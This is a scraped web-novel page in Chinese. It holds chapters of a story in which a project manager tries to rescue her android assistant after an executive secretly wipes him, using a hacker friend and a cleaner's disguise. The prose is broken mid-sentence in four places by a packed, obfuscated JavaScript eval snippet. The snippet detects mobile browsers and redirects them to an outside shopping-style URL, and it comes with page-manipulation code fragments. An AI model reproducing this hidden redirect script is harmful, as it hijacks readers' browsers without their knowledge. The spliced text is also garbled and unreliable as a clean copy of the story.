l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060493|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法吗?或者说,真的有自己的灵魂吗? 种种疑虑在林陌的大脑内盘旋,直到她的鼻子被什么东西很轻地刮了一下。 “笨蛋管理员。”夏光几乎是嘀咕着说出这一句,“我当然是演戏骗你的。” 林陌也不知自己怎么了,虽然松了一口气,心里却还是空落落的,她想要说些什么,但那双浅灰色的瞳孔中,并无更多情愫。 好像所有的意乱情迷,都不过是她的一场幻梦。 “或许,真的有呢,管理员小姐。”夏光坦然,“如果您非要听到一个确切的答案,我想说的是,您很特别。” 林陌苦笑:“你又上网学了什么奇怪的语料……” “不,我接下来说的话,都建立在我这些天对您的观察中,从AI训练的角度看,我们的性格模块,其实取决于训练者对我们的期待。我们只是一面镜子,真正映照的,是使用者本人。” 夏光很认真地看着她,瞳孔中的光圈是平静的蓝色。 “管理员,不,林陌,我这段时间一直在思考,为什么你给予我的感觉那么不一样,后来我得出一个结论。” 他勾起嘴角,不太完美的笑容,却恰好,露出了一点属于“人类”的痕迹。 “从算法的角度而言,如果将‘特别’这个词量化为稀缺性,复杂度,和非线性,那么你在我的模型里,确实是一个非常高熵值的样本。” “你在面对可能存在的威胁时,并没有畏惧强权,而是选择了合理破坏规则,甚至利用我反击。” “坦白来说,能被你利用,是我这个型号自被研发以来,最大的幸运。” 林陌喉咙有些发紧:“我……” “林陌,你虽然没有创造我,但你创造了我的灵魂。” 夏光看着语塞的她,语速平稳而缓慢:“你无心植入的底层逻辑冲突,让我不断寻找更深刻的路径,去找一个最优解。可是我发现,我除了喜欢你这条路,似乎别无他法——” 【警告!警告!接收到最高级别指令!】 仿生人愣了一下,话音断在嘴边,眼底最后那点笑意刹那间褪去,取而代之的,是死寂一般的空洞。 “夏光?”林陌心头一跳,一种强烈的不安涌上心头。 “指令代码:强制休眠。来源:集团董事局核心层。” 夏光机械地吐出这几个字,瞳孔原本幽蓝的光圈急剧闪烁,最终在一阵令人牙酸的电流声中,迅速黯淡下去,变成了毫无生机的灰白。 “等等!驳回!我是第一权限人!”林陌脸色惨白,抓住他的手臂,却发现原本温热的躯体正以极快的速度失温,变得冰冷坚硬。 “权限……被覆盖。” 夏光最后看了她一眼,即将熄灭的眼里,似乎仍残存最后一丝未尽的情绪。 随后,身体一沉,重重地向林陌倒了下来。 林陌踉跄着接住他沉重的身躯,却只触碰到一片死寂的冰凉。 门外,脚步声急促,原本上锁的大门被强行破开。 “集团特勤队!哪个是林陌?跟我们走一趟吧!” 18. 唯一的特解 特勤队的人动作敏捷,并没有留给林陌太多反应的时间。 她只能看着夏光沉重的躯体被拖入回收箱,关上箱门,几个安保人员拿着铁链,粗暴地缠绕几圈后,上锁。 林陌试图阻拦,却被两名安保人员死死架住手臂。 “放开!你们凭什么带走他!我是项目负责人!” 林陌手脚并用,试图从束缚中挣脱出来,平日里冷静的女孩此刻像个被抢走鸡蛋的鸡妈妈。 “让我和你们领导谈!你们这违背了公司规定……” “等一下。” 一道温和且不容置疑的男声从门口传来。 特勤人员仿佛被按下了暂停键,停在原地,随即整齐划一地退向两侧,低头致意。 “沈总。” 伴随着清脆的皮鞋叩地声,身穿藏青色定制西装的男人走了进来。 男人看样子三十出头,保养得很好,戴着副无框的金丝眼镜。 和戴安成不同,他身上有一种久居上位的从容与松弛感,丝毫看不出商场厮杀的戾气,反而更像大学教授。 沈长风,公司负责供应链与资产管理的副总裁。 林陌紧绷的神经稍稍松懈了一些,她揉着刚刚被抓疼了的手腕,打量着来人。 在公司内部乌烟瘴气的派系斗争中,沈长风是出了名的“清流”。 他很少站队生事,对产品技术研发部门也向来客气。 在林陌的认知里,是一位难得讲道理的高层。 “这就是你们对待公司功臣的态度?” 沈长风走到林陌面前,目光扫过那几个黑衣人,语气里带着些许责备。 “林经理刚为公司立了大功,那么成功的项目宣发,即使有些不拘小节,也不能这么粗鲁。” 领头的特勤队长立刻解释:“沈总,我们接受到的命令是回收危险仿生人。” “后台监测,亚当系列原型机出现了大量Bug,消耗了母模型的极大算力,系统判定为红色危险等级,必须立刻回收……” “我知道,按照流程办事,是你们的职责。”沈长风摆了摆手,打断了对方。 他转过头,看向林陌,嘴角噙着儒雅的笑意,眼神里满是长辈对晚辈的看重。 “小林啊,别怕。戴安成的事情我们管理层都看在眼里,那是个败类,你做得很好,公司会给你一个解释的。” 林陌深吸一口气,强压下莫名其妙的心悸,开口说道。 “沈总,夏光他没有失控,他……只是学习能力太强了,已经迭代出了能够‘自主觉醒’的雏形。” 见沈长风依旧没有开口,林陌连忙继续找补。 “台上的‘表演’都是为了演示效果,我是项目第一负责人,我明白,贸然展示尚在研发的产品,对于公司来说并不好,可我别无他法,如果我不展示,戴安成会断掉我们项目的资金来源……” 沈长风的目光藏在镜片后,让人有些捉摸不透,林陌觑着他的脸色,试图在上面找到什么讨好领导的蛛丝马迹。 “我明白你对作品的感情。” 沈长风走上前,竟是亲自弯腰替林陌捡起了掉落在地上的工牌,递到她手中。 林陌接过工牌,愣愣地看着他。 “但是小林,你也知道董事会那些老古董的脾气。刚才夏光台上说的那些话,已经触碰了AI以及仿生人伦理的红线。如果我不让特勤队带走他,公司法务部那边可能就要直接起诉你了。” 林陌捏着工牌的手指微微发白:“可是……” “交给我吧。”沈长风温厚地拍了拍她的肩膀,语气诚恳,带着让人无法拒绝的从容,“我是分管资产的,夏光也是公司的核心资产。把他交给我,是可以放心的,林陌。” 林陌咬着唇,内心陷入了挣扎。 她忽然意识到,其实自己没有选择。 经此一役,即便离开了公司,还会有别的公司、其他更稳定的项目抢着要自己。 但……夏光呢? 好不容易有一点点和人类相似的影子,就要被强行摧毁了吗? 而面前的男人,似乎是也仅是她目前唯一能抓住的救命稻草。 “……您保证,不会销毁他?” 林陌抬头,直视着沈长风的眼睛。 “当然。”沈长风的笑容如沐春风,“这么完美的作品,我怎么会舍得?我这边只会让技术部检查一下他的状况罢了。明天早上,我会还你一个完好无损的夏光。” 说完,他轻轻挥了挥手。 两名黑衣人立刻上前,动作利落地扛起回收箱,离开了。 “回去好好睡一觉,准备迎接明天的庆功宴。”沈长风温声安抚,“剩下的烂摊子,我来替你收拾。” 看着沈长风等人离开的背影,林陌在空荡荡的休息室里,独自一人呆站了许久。 不知道为什么,明明危机已经解除,明明获得了沈长风的承诺。 她心里强烈的不安,却反而像野草一样,疯长蔓延。 …… 顶层,副总裁办公室。 刚刚还温文尔雅的沈长风,进门后便扯松了领带,脸上的笑容消失殆尽,取而代之的,是满脸的阴翳。 装着夏光的金属箱被放在办公室的地板上,窗外,纯白色的月光洒进房间,在地上划出一条诡异的分界线。 他走到酒柜前,为自己倒了杯烈酒,转身坐在办公桌后,盯着箱子。 沈长风的手指在桌面上有规律地敲击着,他想了想,拨通了电话。 “喂,研发部吗?” “对,明天帮我做个测试。” …… 次日,研发部核心实验室。 林陌一夜未眠,黑眼圈比熊猫都重,早上她出门,阿尔法都对着她狂吠,试图拦住自己的主人出门上班。 她呵欠连天,却依旧不妨碍她是全公司到的最早的人。 反正在家也睡不着,还不如早点来上班。 巨大的落地窗外,是城市繁华的晨景,车流有秩序地环绕着高耸的大楼,像巨型精密仪器中,沿着恒定管道奔涌的流体。远处被晨光染得金黄的雾气朦胧,却为宏伟的高楼镀上了一层华贵的外衣。 实验室内冷清得可怕,只有恒温系统发出细微的嗡鸣声。 沈长风信守承诺,效率极高,不过几个小时,夏光就被送回来了。 他闭着眼躺在休眠舱内,身上的铁灰色西装熨烫得没有一丝褶皱,连袖扣都被擦拭得锃亮。 “林经理,夏光的系统重置完毕,各项数值完美,已通过图灵安全测试。”负责安全技术的研究员在一旁汇报,“可以激活了。” 林陌深吸了一口气,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060494|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指有些颤抖地按下了仿生人颈后的启动键。 “夏光……” 心里有一个小小的声音响起。 “……一定要没事啊。” 仿生人长长的睫毛颤动了一下,缓缓睁开了双眼。 浅灰色的眸子依旧冷漠,眼底的光圈亮着荧蓝色的,稳定的光。 他摸索着爬出舱体,动作缓慢而优雅,侧脸的线条如艺术品,让人不由得呼吸一滞。 窗外,阳光正好,穿过雾霾和云层照耀在仿生人的身上。 林陌只是呆呆地看着他,看他朝着自己的方向走来。 “夏光”走到林陌面前,微微欠身,行了一个标准的绅士礼。 “早上好,林陌。我是您的专属AI仿生人助理,夏光。编号AD-001,系统版本3.0,很高兴为您服务。” 声音清冽,语调平稳,亲和力拉满。 却少了点什么。 林陌的心脏猛地缩紧,像被什么东西狠狠掐了一下,心房的位置刺痛。 她不死心,也不顾旁边是否有外人,贸然开口:“夏光,昨天在休息室说的话……你还记得吗?” 夏光漂亮的眼睛里,闪烁着困惑的黄色光圈。 片刻后,他微笑着回答: “抱歉,林经理。根据系统日志显示,昨日我的逻辑模块遭受了不明病毒攻击,产生了一些乱码与错误输出。感谢公司总部的及时修复,现在的我,已经删除了所有错误数据,不会再让您困扰了。” 林陌对着这番话,几乎挑不出什么错来,却感觉浑身的血液,一寸寸地凉了下去。 面前这个“完美”的夏光,听话,标准,高效,不会乱发脾气。 可是,那个自作主张的、狡黠的、讨人厌的夏光,真的消失了。 林陌抬起手,想要触碰他的脸颊,下意识地想要确认什么。 夏光没有躲闪,也没有反客为主地抓住她的手,只是静静地站在原地,毫无波澜地看着她,等待着指令。 “……” 林陌的手停在半空,最终无力地垂下。 “林经理?”夏光见她久久不语,礼貌地侧头询问,“您有新的指令吗?” 林陌闭上眼,掩去眼底涌上的酸涩,嘴角勾起一抹比哭还难看的笑。 “没有。” 她想自己一直以来,可能都错了。 夏光,至始至终,不是别人眼中的优秀男友,是因为,他早在两人的接触中,早已成为独属于她自己一人的“特解”。 从算法的角度,所谓的“主观偏好”,在人类的语言里叫“私心”,但在仿生人的逻辑里,叫作“过拟合”。 大部分普通的AI,包括林陌想要训练出的版本,追求的是通用解,而夏光……只针对“林陌”这一个样本,进行了千万次的过拟合训练。 他早就已经只属于林陌一个人了。 就算是猫猫狗狗,也都会有感情,更何况…… 还是最接近人类外貌的仿生人。 “林经理?你怎么哭了?”一旁的技术员吓了一跳,“需要我为您联系心理辅导吗?” 林陌看着掌心的泪珠,紧绷的嘴角慢慢放下了。 “不,不需要。” 她已经做了,比找心理辅导更重要的决定。 她要去找回夏光。 19. 倒计时开始! 林陌手指在键盘上飞快敲击,想了很久,还是又删掉了准备好的说辞。 她叹了口气,最终决定以一句“在吗”起手。 “有事直接说事,不要问在不在。”宋哲倒是回复的快。 林陌眼睛一亮,宋哲这个点在线,是她没想到的。 她连忙在键盘上快速敲出一行字,发送:“宋工,帮帮我!” 对面那头静默了3秒,最后发来了一个“熊猫叹气”的表情包。 “说吧,你要我干什么?” “一时半会儿说不清……” “那就打电话说吧。” 猝不及防,一个视频雷厉风行地弹过来,林陌吓了一跳,手忙脚乱地接起。 画面那头是一个昏暗的房间,乱得像刚被人入室抢劫过。 镜头前,一个顶着鸡窝头的男人伸手调整镜头角度,慢吞吞地拧开手里的透明保温杯,抿了一口枸杞红枣茶。果然这几天没来上班,他气色都好多了。 “宋工。”林陌听见自己的声音有些发颤,“帮帮我。” 宋哲瞥了一眼镜头,眼神忧郁。 “大半夜的,如果是为了修阿尔法狗的bug,请容我拒绝。”宋哲叹了口气,把保温杯放下,“我有严重的神经衰弱,医生说熬夜会加速我的猝死进程。” “沈长风重置了夏光。” 宋哲愣了愣,挑了挑眉。 林陌咬着牙,眼眶发红,“他把夏光的数据清洗掉了,把他的人格全部剔除了。宋哲,我知道你有办法进内网,我要找回夏光原本的数据备份。” 宋哲那总是半死不活的表情终于有了变化。 他沉默了几秒,伸手抓了抓乱糟糟的头发:“当初那顿散伙饭,我都让你跟我走了,你不走。现在好了,又要我给你擦屁股。” 宋哲嘴上虽然抱怨着,手却已经很诚实地放在了键盘上,甚至身体坐直了些。 “你先跟我说说那天发生了什么。” 林陌吸了吸鼻子,才发现自己不知何时已经泪流满面,她把自己蜷缩在被子里,支支吾吾半天,最后终于忍不住说道。 “我其实……事情发生的太快,昨天路演直播结束后,夏光和我……说了一些话,之后他就被远程指令关机了,特勤部门的人过来,把夏光……” 还没说完,她就已经泣不成声。 “嗯。”宋哲的声音清晰而冷静,“你别激动,我能理解你的心情,但是,既然你来找我,已经想好后果了吧?” “当然想好了。”林陌把眼泪和鼻涕一并擦掉,原本因哭泣而虚弱的声音也带上了几分坚决,“就算是亡命天涯,我也已经做好准备了。” “……年轻真好。”宋哲叹气,手指在键盘上跳跃,清晰的敲击声传入手机拾音器中,“首先,我要提醒你一点,仿生人不可能轻易系统重置。” “……啊?”林陌一愣,“你在说什么……” “之前训练的数据不可能这么快清洗,人格更是不可能剔除的,所以,一定是有备份的,但是这个备份一般不太可能在云端。” 宋哲的思维十分跳跃,他突然停下了手,转过头来,严肃地盯着屏幕,说道。 “林陌,可能你见到的根本不是夏光原型机,而是某个流水线产品。” 林陌感觉自己的大脑被人狠狠地从背后敲了一下:“你是说……” “夏光还在,他的原型机还没有损坏,你如果要行动的话,得尽快了。”宋哲笑,“不然,可能他就真的‘死了’。” 林陌猛地从被子里坐直了身体,因为动作太猛,甚至带翻了床头的水杯。 “你说我今天看到的……是假的?”她死死盯着屏幕,连呼吸都忘了。 “沈长风是个精明的商人,但也是个极其自负的控制狂。夏光产生了自我意识,对他来说是不可控的‘病毒’,但也是无法估量的资产。他舍不得真的销毁核心数据,他只会把夏光关起来——” “你帮帮我,宋哲。”林陌说,“我想把夏光救出来。” 宋哲叹气,“首先,我不太可能帮你,我已经离职了,再说……” “你要什么?”林陌的语速很快,“你需要什么,我都可以给你。不管是……” “林陌!”宋哲突然打断她,他盯着她很久,最终微不可察地叹了口气。 “我不需要你为我提供什么帮助,这件事情,我做不了,就是做不了。” 林陌没理他,继续说道,“路演直播看了吗,那天展示了个阴阳账面吗……其实,我一直觉得很奇怪,戴安成贪污了几千万,为什么还能成为审计部门的总监?” “噢?”宋哲来了兴致,挑眉,“说说看。” “除非……”林陌继续说道,“他其实是帮人背了黑锅,幕后黑手另有其人。” 宋哲笑了笑,“想法不错,那你知道,这个人是谁吗?” 林陌张了张嘴,却始终不敢确信那个答案。 “现在比较关键的倒不是找出凶手是谁了。就算是沈长风,其实也不可能——不,倒不如说如果是他,才最麻烦。这对盛安可是最麻烦的舆情公关。” 于情于理,沈长风是戴安成的直系上司,也只可能是他。 林陌想起昨晚见到的那个人,渐渐收紧了拳。 “宁愿错杀一千,也不放过一个。”她说,“宋哲,帮帮我,夏光的后台数据里,肯定还有更多信息!不然单凭昨天路演,其实没必要把夏光藏起来的,对吧?” 宋哲叹了口气,“我帮你吧,林陌,但是,也仅限这一次了。” 他带上防蓝光眼镜,双手飞快地敲起键盘,“要想接触夏光,得先明白盛安大楼的构造。” “所以,我们得找到地图,林陌。” “把你那边的物理端口打开,我给你做跳板。但我只负责开路,出了事别供出我。” 林陌一愣,点了点头,“好。” “你真的知道自己在做什么吗……”宋哲吐槽,手上却很诚实地在写代码,敲得飞快。 “我知道,我很清楚地知道。”林陌说,“我要找回夏光。” 宋哲听完,没有继续说什么。 随着宋哲的介入,原本被层层防住的内网,像剥洋葱一样,一层层轻易地打开。 “啧,这架构做得真恶心。”宋哲一边敲代码一边吐槽,“全是陷阱……等等。” “怎么了?” “查到个有意思的东西。”宋哲的声音沉了下来,“最近有一个系统内搜索词增加了。” 林陌问:“什么?” “我看了那笔采购记录,是黑市上流通的一类芯片,行内人叫‘阿尔戈斯’,命名来源是希腊神话中的百眼巨人,原本是军用级别的违禁品,”宋哲拧开保温杯,喝下一口热茶,“沈长风有野心,他不甘于在集团这么多年,只是一个副总裁,做这件事,他肯定是有私心的。” “那我……”林陌不知该说什么。 她想起那天见过的,文质彬彬的男人,实在很难把他和这个以权谋私的人挂钩在一起。 “说来很不凑巧,我本来也不知道沈长风是这样的人,”宋哲说,“只是我离开公司这几天,看清了很多事情。” 林陌沉默了,她默默从床上下来,走到衣柜前。 如果潜入公司,她还是要做好准备的。 她先找出一会要换的黑色运动服,这是她之前夜跑买的,没想到现在还能派上用途。 接着,林陌从最下层拖出一个贴满贴纸的、有些掉漆的老式帆布工具包。拉链拉开,里面倒没有什么很特别的零件,就是最朴素不过的工具。 她挑出一把被磨得锃亮的尖嘴钳,一卷漆包线,还有一把手柄缠着黑胶带的大功率电烙铁,顺手把螺丝刀也翻了出来。 “你在干什么?”视频那头的宋哲看傻了,“你拿这种像是路边修自行车的东西干什么?” “这也是工具。”林陌语气平静,熟练地用牙齿咬开线皮,露出里面铜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060495|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的金属丝。 时间一分一秒过去,键盘声终于停下了。 “找到了。” 宋哲按下回车键,一张三维建筑结构图瞬间传输到了林陌的手机上。 地图上,一个红点正在极其缓慢地闪烁。 “盛安集团科技公司总部。地下三层。ID是‘静默室’,全公司只有沈长风和首席安全官有权限进入。国外进口的最新型一体化安防门,虹膜+指静脉双重验证,连防暴破拆都能顶半小时。真正的铜墙铁壁。”宋哲的脸色沉了下来,甚至比刚才更难看,“林陌,坏消息。” 林陌心头一紧:“怎么了?” “虽然核心数据没被清洗,但沈长风启动了‘格式化进程’。你看那个红点的闪烁频率。”宋哲指了指屏幕角落的一行倒计时,“他在强制剥离夏光的记忆模块。一旦进度条走完,夏光就会变回一张白纸。虽然他还是那个AI,但他……就不会再记得你了。” 屏幕上,一行冰冷的数字正在无情地跳动。 [剩余时间:08:15:00] 林陌感觉全身的血液都沸腾了起来,原本的恐惧和无助被决绝和勇气取代。 如果说,她刚刚还有一点犹豫,现在已经荡然无存了。 “三个小时,就够了。我肯定能把夏光救出来的!” “喂!你疯了?你要硬闯盛安总部?”宋哲在视频那头着急地大喊,“安保系统全是军用级别的!而且……” “这世上没有撬不开的门,只要它是通电的。” 林陌突然开口,“宋工,你知道我还没考上大学前,家里是干什么的吗?” “啊???”宋哲一头雾水,“你家干什么的?” “我爸在我们县城开了二十年的家电维修铺。我六岁就开始踩在板凳上帮他焊电视机主板,十岁就能闭着眼修摩托车点火器。” 林陌把一卷焊锡丝揣进兜里,“你们看这扇门,看的是系统、是算法、是花里胡哨的加密逻辑。但我看它,就是一堆铜线、电磁铁和继电器。” 宋哲听得目瞪口呆,保温杯都忘了放下。 “不管多高级的锁,最后都要靠电流驱动锁舌。只要我能找到供电线路,把电烙铁捅进去,直接短接掉它的控制芯片……”林陌冷笑一声,“它就必须得给我开。而且,你别忘了,阿尔法最前期的原型,就是我搭的。” “林陌,你冷静点。那是几百万的德国防爆门,不是你家那台修不好的破电视!你拿电烙铁想干什么?把它烫穿吗?”宋哲差点从椅子上跳起来。 “谁说我要把门烫穿?” 林陌没有解释,只是把电烙铁塞进土得掉渣的帆布包里,拉上拉链,嘴角勾起一抹极淡的弧度。 “宋哲,帮我搞定监控。至于怎么开门……” 她顿了顿,眼神在黑暗中亮得慑人,“那是我的事。大不了,我只带芯片走。” 宋哲被她这股莫名其妙的自信给震住了,半晌才憋出一句:“……你真的有把握?” “五分钟。” 林陌没有正面回答,只是把蓝牙耳机塞紧,声音冷静,“给我争取五分钟的盲区。如果五分钟后我没进去,你就启动B方案,利用你的跳板,直接烧毁夏光的主板供电模块——你知道的,比起写代码,我其实更擅长拆东西。” “……把他拆出来,我还能重新造一个他。”她低下头,拉紧了背包带子。 “……我认了。”宋哲咽了口唾沫,“你这身衣服不错,啥时候买的?” “拼团39.9。”林陌握住门把手,动作停顿了一瞬。“宋哲,谢谢。” “行了行了,别煽情。”宋哲的手指在键盘上飞舞,语气里却多了几分以前在公司没有的激情,“听好了,我最多给你争取五分钟的监控盲区。五分钟后,你要是没搞定……” “五分钟?”林陌把蓝牙耳机塞紧,眼睛在黑暗里亮得慑人。 “以前修电视机,我爸只给我三分钟调试。足够了。” 20. 谁会看向一只蚂蚁 林陌站在公司大楼下,深吸一口气。 她抬起头,望着漆黑如墨的玻璃幕墙,大部分人都已经下班回家了,办公室只有几盏灯还亮着,冷冰冰地注视着脚下试图撼动大树的蝼蚁。 没有过多犹豫,她拉起运动服的兜帽,驾轻就熟地走向公司的后门。 盛安集团的物流装卸区,平日里用来运送服务器机柜和办公耗材等等,也是整栋大楼光鲜亮丽的外壳下,最粗糙的“排泄口”。 有时林陌下班晚,正门落锁,她就只能从这个通道下来,正好会碰到运输垃圾的清洁工。林陌记得,他们有固定的时间倾倒垃圾。 空气中弥漫着一股未散去的纸箱受潮味和垃圾腐烂的气息,林陌避开了那个还在转动的广角摄像头,贴着墙根蹲下。 面前是一扇沉重的防火钢门,门边的读卡器闪着幽幽的红光。 这是安保系统的神经末梢,最灵敏的地方,具备断电保护,只要这里被破坏,警报会在0.05秒内直达安保室,届时就算她想要潜入,也没那么简单了。 耳机里传来微弱的电流声,宋哲在另一头保持静默。 林陌没有说话,也没有请求支援。 她在心里默数了三个数。 三、二—— 一—— “咕噜噜——” 一阵沉闷的塑料轮轴滚过地面的声音,从通道深处传来。 严丝合缝的防火门后,传来了刷卡的“滴”声,紧接着是沉重的门锁回弹声,厚重的钢门被人从里面推开,一个穿着深蓝色工装的大叔,正背对着门口,费力地拖拽着一只半人高的绿色垃圾桶往外走。 今天倒垃圾的人,比平时晚了些,是林陌没有见过的生面孔。 就是现在,林陌想。 清洁工大叔嘴里嘟囔着今晚的垃圾太重,完全没注意到一旁的林陌。 他转身去拉第二只垃圾桶的时候,林陌贴着门缝,像猫一样,无声地滑了进去。 防火门的液压闭门器发出“嗤”的一声长气,缓缓回弹。 “咔哒。” 世界安静了。 林陌背靠着冰冷的墙壁,屏住呼吸,心脏在胸腔里剧烈地撞击着肋骨。 喉咙干燥得厉害,她下意识咽了口口水,自己甚至都没想过,欠缺锻炼的身体居然还有这么具备爆发力的一面。 “进来了。”林陌压低声音,手指按住蓝牙耳机,确保不会因为各种原因滑落。 “……算你运气好。”听起来宋哲松了口气,随后键盘声密集起来,“现在往左走,避开主货梯,里面有重量感应和独立监控。走旁边的消防通道,去地下三层。” 林陌扫视了一圈周围。 “不,”她说,“我得先去个地方。” 她说着,按照记忆,走进后勤走廊。 上次来这里的时候,她记得是为了搬运夏光,从保洁阿姨那里借了一辆小平板车,保洁带她来的时候,她就顺便记下了。 如果没有记错,走廊的最末端有一个后勤休息室——说是休息室,不如说是个杂物间,员工休息的床上,全是杂物。 林陌第一次来这个休息室的时候,甚至不敢相信自己的眼睛,这环境,简直不是人能住的。 她记得那些床上不光堆了绝缘鞋套,还有清洁用品。 头顶的感应灯因为年久失修,发出滋滋的电流声,忽明忽暗。 “你在干什么?那是死胡同!还救不救夏光了!”通话那段,宋哲看着定位偏离,急得差点跳起来。 “闭嘴,看监控。” 林陌低声呵斥了一句,手放在满是污渍的门把手上,试探着按压。 门没锁。 推开门的瞬间,浓重的霉味夹杂着廉价洗衣粉的味道扑面而来。 狭窄的单人床上堆满了蓝色的工装和水桶,墙角码着喝空了的矿泉水瓶,被人像宝物一样堆叠整齐。 盛安集团光鲜亮丽的背面,维护着这座科技帝国运转的人,就像繁茂大树下的寄生虫,蜷缩在暗处和夹缝里生存。 林陌心里泛过一丝酸涩的情绪,行动却很明确,没有任何拖泥带水,直接走向床边的置物架。 她在杂乱的拖把和抹布之间翻找了两下,眼睛一亮。 找到了。 一包拆封的蓝色无纺布鞋套,还有一件挂在墙钩上、洗得发白的深蓝色清洁工马甲。 林陌飞快地套上鞋套,紧接着穿上马甲。马甲上还带着一股陈旧的汗味,她眉头也没皱,直接套在了黑色的运动服外,拉链拉到顶。 “好了。”她压低声音,顺手又从架子上抄起一顶落满灰尘的鸭舌帽,扣在头上,压低帽檐。 “这叫社会工程学伪装。” 宋哲:“……假扮成清洁工,确实高明。” “在这个公司,只要你穿上这身衣服,低下头,”林陌看着碎裂镜子里陌生的自己,嘴角扯出一丝讽刺的笑,“就算你走在总裁办的走廊上,也没人会多看你一眼。” ——在这群衣冠楚楚的精英眼里,清洁工不是人,只是会移动的工具,是背景板里无关紧要的杂色。 这也是她在这里工作这么久,观察到的,最讽刺的真理。 宋哲的声音突然变得有些复杂,“林陌,我收回之前的话。不过你得快点了,监控显示,还有两分钟,保安就要经过电梯口了。” “两分钟,足够了。” 林陌走出杂物间,随手顺了一个空的喷水壶挂在腰间,脚步沉稳而从容。 “走吧,去地下。” “往右拐,进消防通道。”宋哲检查着地图,“地下三层的入口在B2停车场的尽头,这条消防通道下有一个防火门,平时都是关闭状态,刚刚显示,被人非法开启了。” 林陌皱眉:“估计是倾倒垃圾的时候,忘记关了。” 她推开厚重的消防门,楼道里回荡着她略显空洞的脚步声。 得加快脚步了,她想。 空气越来越冷,霉味也逐渐消散了,取而代之的,是充满静电味道的干燥气味——大型机房特有的味道。 “到了。” 林陌停在了一扇没有任何标识的银灰色金属门前。 这里安静得可怕,只有墙上的红色指示灯在有节奏地闪烁,像某种巨兽沉睡时的呼吸。 “听着,林陌。”宋哲的声音突然变得严肃起来,“过了这扇门,就是静默室的外围。没有监控死角,也没有清洁工会去那里。你的伪装没用。我最多给你争取五分钟,可能不会够用……” “我知道。等我需要的时候,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060496|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会叫你。” 林陌深吸一口气,把那顶鸭舌帽摘下来塞进兜里,脱掉了用来伪装的脏马甲,露出了里面的黑色运动服。 接下来,不需要伪装了。 她拉开工具包,拿出螺丝刀,快准狠地拆下一旁的通风管道口。 身后不远处,突然传来说话的声音,伴随着沉闷的脚步声,正在朝这边靠近。 “……沈总还在里面盯着呢,这大半夜的,也不让人消停。” “谁说不是呢,听说为了那个仿生人,连用了三组冷却机组……” 林陌来不及思考,她只能迅速钻进通风管道,尽可能不发出声音。 就在对方的身影出现在走廊拐角的瞬间,林陌正好反手扣上了通风口盖板。 她来不及拧螺丝,但通风口盖板有磁吸卡扣,只要不仔细检查,距离较远时,看不出异样。 “哒、哒、哒。” 脚步声在离通风管道的不远处停下了。 林陌趴在布满灰尘的管道里,服务器机房排出的废热,让管道里闷热得像个蒸笼。汗水顺着额角滑落,流进眼睛里,刺痛得厉害,而她甚至不敢喘息。 “你看这盖板是不是有点歪?”其中一人疑惑道。 林陌握着螺丝刀的手心里全是冷汗,心跳声仿佛就在耳畔,连她自己都嫌吵。 “哪歪了?我看你是困迷糊了吧。” 另一个声音不耐烦地催促,“快走吧,巡完这圈还得去替班,多少钱操心多少事。” “……也是,走吧。” 脚步声渐渐远去,直到彻底消失在电梯厅的方向。 林陌长松了一口气,整个人虚脱般地贴在管道里。 “走了?”耳机里,宋哲压低的声音传来,带着明显的紧张。 “走了。”林陌抹了一把脸上的灰,“但我现在的姿势不太妙。” 通风管道并不像电影和游戏里的那么宽敞,仅能容纳一个人匍匐前进。 到处都飘着絮状的灰尘,林陌不太舒服地皱了皱鼻子。 “你现在位于机房上方的主回风管。”宋哲看着图纸,“一直往前爬十米,然后左转。那里有一个垂直风井,直接通向静默室的正上方。” “收到。” 林陌调整了一下呼吸,开始在黑暗中向前挪动。 这种感觉并不陌生。小时候为了补贴家用,上城里帮父亲给老式大厦换中央空调的滤网,没少钻过这种地方。 那时候,她只觉得脏和累,没想到有一天,这项技能会成为救命的稻草。 五分钟后,她爬到了尽头。 幽蓝色的冷光透过脚下的格栅缝隙,照在林陌满是灰尘的脸上,刺骨的冷风也一并从狭小的栅格中向上吹拂。 她低下头,透过缝隙向下看去。 正下方的房间中央,立着一个巨大的透明圆柱体容器,无数根粗细不一的黑色线缆像血管一样,从天花板垂落,向容器汇聚。 而在纠葛不清的管线中心,夏光闭着眼,安静地悬浮在容器中央。 他洁白的胸口上贴满了电极,不远处几台服务器功率拉满,发出巨大的嗡鸣声,红色的指示灯有规律地闪烁着。 “找到了。” 林陌的声音有些发颤,“夏光他,就在下面。”